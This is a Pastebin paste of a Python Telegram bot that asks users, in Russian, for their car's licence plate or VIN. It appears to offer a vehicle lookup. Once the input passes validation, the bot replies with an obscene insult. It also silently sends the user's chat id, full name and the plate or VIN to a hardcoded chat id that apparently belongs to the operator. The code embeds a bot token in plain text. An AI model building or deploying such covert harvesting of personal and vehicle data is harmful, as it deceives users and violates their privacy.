Advertisement
jimkilled

CarNumberBot

Jun 6th, 2021 (edited)
501
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.49 KB | None | 0 0
  1. import telebot
  2. from telebot import types
  3. import pyvin
  4.  
  5. BOT_TOKEN = '1837300144:AAFDOpl-FtOSninGqF4Dz174c-UNcwOeleA'
  6.  
  7. # AUTO NUMBER
  8. # defautl ru region numbers
  9. REGION_NUMBERS =  ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11',
  10.                    '12', '13', '14', '15', '16', '17', '18', '19', '20', '95', '21',
  11.                    '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32',
  12.                    '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43',
  13.                    '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54',
  14.                    '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65',
  15.                    '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76',
  16.                    '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87',
  17.                    '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98',
  18.                    '99', '102', '113', '116', '121', '122', '123', '124', '125', '126',
  19.                    '134', '136', '138', '142', '147', '150', '152', '154', '156', '159',
  20.                    '161', '163', '164', '173', '174', '177', '178', '186', '190', '193',
  21.                    '196', '197', '198', '199', '702', '750', '716', '761', '763', '774',
  22.                    '777', '790', '797', '799']
  23. # letters ru numbers
  24. VALID_LETTERS = ['А', 'В', 'Е', 'К', 'М', 'Н', 'О', 'Р', 'С', 'Т', 'У', 'Х']
  25.  
  26.  
  27. bot = telebot.TeleBot(token=BOT_TOKEN)
  28.  
  29.  
  30. @bot.message_handler(commands=['start'])
  31. def start(message):
  32.     user_first_name = message.chat.first_name
  33.     user_last_name = message.chat.last_name
  34.     send_mess = f'Привет, <b>{user_first_name} {user_last_name}</b>!\nВведи номер или VIN своего авто.\n<b>На русском языке</b>'
  35.     # Setting Keyboard
  36.     markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
  37.     num = types.KeyboardButton('Номер Автомобиля 🚗')
  38.     vin = types.KeyboardButton('VIN Автомобиля 🔤')
  39.     markup.add(num, vin)
  40.    
  41.     bot.send_message(message.chat.id, send_mess, parse_mode='html', reply_markup=markup)
  42.  
  43.  
  44. def transform(text):
  45.     return text.upper().replace(' ', '')
  46.  
  47.  
  48. def isAutoNum(a_num):
  49.     if len(a_num) != 9 and len(a_num) != 8:
  50.         return False, 'Некорректный номер ❌'
  51.  
  52.     auto_number = {
  53.         'seria': a_num[0] + a_num[4] + a_num[5],
  54.         'registration_number': a_num[1:4],
  55.         'region_code': a_num[6:]
  56.     }
  57.    
  58.     for letter in auto_number['seria']:
  59.         if not (letter in VALID_LETTERS):
  60.             return False, 'Не верный серийный номер ❌'
  61.    
  62.     if not (auto_number['region_code'] in REGION_NUMBERS):
  63.         return False, 'Не верный код региона ❌'
  64.    
  65.     return True, ''
  66.    
  67.    
  68. def isAutoVin(vin):
  69.     if len(vin) != 17:
  70.         return False, 'Некорректный номер ❌'
  71.    
  72.     auto_vin = pyvin.VIN(vin)
  73.     if auto_vin == []:
  74.         return False, 'Некорректный номер ❌'
  75.    
  76.     return True, ''
  77.    
  78.    
  79. def auto_num(message):
  80.     num  = transform(message.text)
  81.     ret, e = isAutoNum(num)
  82.     if not ret:
  83.         bot.send_message(message.chat.id, e)
  84.         return
  85.     bot.send_message(message.chat.id, 'Пошёл нахуй ✅')
  86.     bot.send_message(330076987, f'{message.chat.id} - {message.chat.first_name} {message.chat.last_name}. Text - {num}')
  87.    
  88.    
  89. def auto_vin(message):
  90.     vin  = transform(message.text)
  91.     ret, error = isAutoVin(vin)
  92.     if not ret:
  93.         bot.send_message(message.chat.id, error)
  94.         return
  95.     bot.send_message(message.chat.id, 'Пошёл нахуй ✅')
  96.     bot.send_message(330076987, f'{message.chat.id} - {message.chat.first_name} {message.chat.last_name}. Text - {vin}')
  97.    
  98.  
  99. @bot.message_handler(content_types=['text'])
  100. def get(message):
  101.     if not (message.text in ('Номер Автомобиля 🚗', 'VIN Автомобиля 🔤')):
  102.         return
  103.    
  104.     if message.text == 'Номер Автомобиля 🚗':
  105.         send = bot.send_message(message.chat.id, 'Введите номер автомобиля 🚗')
  106.         bot.register_next_step_handler(send, auto_num)
  107.     elif message.text == 'VIN Автомобиля 🔤':
  108.         send = bot.send_message(message.chat.id, 'Введите VIN номер автомобиля 🔤')
  109.         bot.register_next_step_handler(send, auto_vin)
  110.    
  111.  
  112. bot.polling(none_stop=True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement